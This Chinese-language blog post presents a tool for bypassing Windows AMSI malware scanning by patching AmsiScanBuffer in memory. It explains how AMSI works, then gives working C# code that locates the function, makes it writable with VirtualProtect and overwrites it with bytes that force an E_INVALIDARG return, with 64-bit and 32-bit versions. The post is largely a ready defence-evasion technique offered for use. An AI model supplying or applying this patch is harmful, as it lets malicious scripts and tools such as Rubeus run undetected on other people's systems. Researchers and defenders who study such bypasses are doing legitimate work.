通过修补AmsiScanBuffer api内存绕过AMSI

作者:Sec-Labs | 发布时间:

补丁AMSI

通过修补AmsiScanBuffer api内存绕过AMSI

61ac3b5c99143547

项目地址

https://github.com/D1rkMtr/PatchAMSI

 

相关原理讲解

什么是 AMSI?

是一 Antimalware Scan Interface 组 Windows API,它允许任何应用程序与防病毒产品集成(假设该产品充当 AMSI 提供程序)。 Windows Defender 与许多第三方 AV 解决方案一样自然地充当 AMSI 提供者。

1d5e7129a6143804

 

简单地说,AMSI 充当了应用程序和 AV 引擎之间的桥梁。 以 PowerShell 为例——当用户尝试执行任何代码时,PowerShell 会在执行前将其提交给 AMSI。 如果 AV 引擎认为内容是恶意的,AMSI 将报告回来,PowerShell 不会运行代码。 对于在内存中运行且从不接触磁盘的基于脚本的恶意软件,这是一个很好的解决方案。

任何应用程序开发人员都可以使用 AMSI 来扫描用户提供的输入(这是测试绕过的好方法 😈).

amsi.dll

对于向 AMSI 提交样本的应用程序,它必须 将 amsi.dll 加载到其地址空间并调用从该 DLL 导出的一系列 AMSI API。 我们可以使用 APIMonitor 之 类的工具来挂钩 PowerShell 并监控它调用了哪些 API。 按顺序,这些通常是:

1b6c387c1f143843

 

我们可以使用一些方便的 P/Invoke 在 C# 中复制它。

using System;
using System.Runtime.InteropServices;

namespace ConsoleApp
{
    class Program
    {
        static void Main(string[] args)
        {
        }

        [DllImport("amsi.dll")]
        static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);

        [DllImport("amsi.dll")]
        static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

        [DllImport("amsi.dll")]
        static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);

        enum AMSI_RESULT
        {
            AMSI_RESULT_CLEAN = 0,
            AMSI_RESULT_NOT_DETECTED = 1,
            AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
            AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
            AMSI_RESULT_DETECTED = 32768
        }
    }
}

我们所要做的就是初始化 AMSI,打开一个新会话并向它发送一个样本。

// Initialise AMSI and open a session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);

// Read Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");

// Scan Rubeus
AmsiScanBuffer(amsiContext, rubeus, (uint)rubeus.Length, "Rubeus", amsiSession, out AMSI_RESULT amsiResult);

// Print result
Console.WriteLine(amsiResult);

这给了我们结果 AMSI_RESULT_DETECTED

内存补丁

等工具 Process Hacker 会显示 amsi.dll 确实在 AMSI 初始化后加载到进程中。 要覆盖内存中的函数,例如 AmsiScanBuffer ,我们需要获取它在内存中的位置。

类查找 amsi.dll 的基地址 为此,我们首先使用 .NET System.Diagnostics ,然后调用 GetProcAddress API。

var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;

foreach (ProcessModule module in modules)
{
    if (module.ModuleName == "amsi.dll")
    {
        hAmsi = module.BaseAddress;
        break;
    }
}

var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");

就我而言, AmsiScanBuffer 位于 0x00007ffe26aa35e0 。 通过查看与 amsi.dll 关联的内存地址,您可以确认这是在模块的主 RX 区域内。

d672f41813143915

 

要覆盖该区域中的指令,我们需要使用 VirtualProtect 使其可写。

var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

// Set region to RWX
VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect);

// Copy garbage bytes
Marshal.Copy(garbage, 0, asb, garbage.Length);

// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);

然后,您将在此内存区域中看到一大堆 A,并且允许应用程序调用 AmsiScanBuffer 将导致进程崩溃(因为显然 A 不是有效的指令)。

759f0e59c2143926

 

我们可以在这里放置无数的指令。 一般的想法是改变行为以防止 AmsiScanBuffer 返回一个肯定的结果。

使用 IDA 等工具分析 DLL可以提供一些想法。

ec4bf22252143939

 

AmsiScanBuffer 所做的一件事是检查提供给它的参数。 如果它发现一个无效的参数,它会分支到 loc_1800036B5 。 在这里,它将 0x80070057 移动到 eax 中,绕过执行实际扫描的分支并返回。

0x80070057 是 E_INVALIDARG 的 HRESULT 返回

我们可以通过覆盖 AmsiScanBuffer 的开头来复制这种行为:

mov eax, 0x80070057
ret

defuse.ca 有一个有用的工具,可以将汇编转换为十六进制和字节数组。

而不是 var 垃圾

var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

这将导致 AmsiScanBuffer 的返回码为 E_INVALIDARG,但实际扫描结果 为0—— 通常解释为 AMSI_RESULT_CLEAN。

似乎没有任何应用程序实际上正在检查返回码是否不是 S_OK ,并且只要扫描结果本身不等于或大于 32768 就会继续加载内容——这肯定是PowerShell 和 .NET 的案例。

以上适用于 64 位,但由于数据在堆栈上返回的方式,32 位所需的程序集略有不同。

mov eax, 0x80070057
ret 0x18

标签:工具分享, 主机安全, AMSI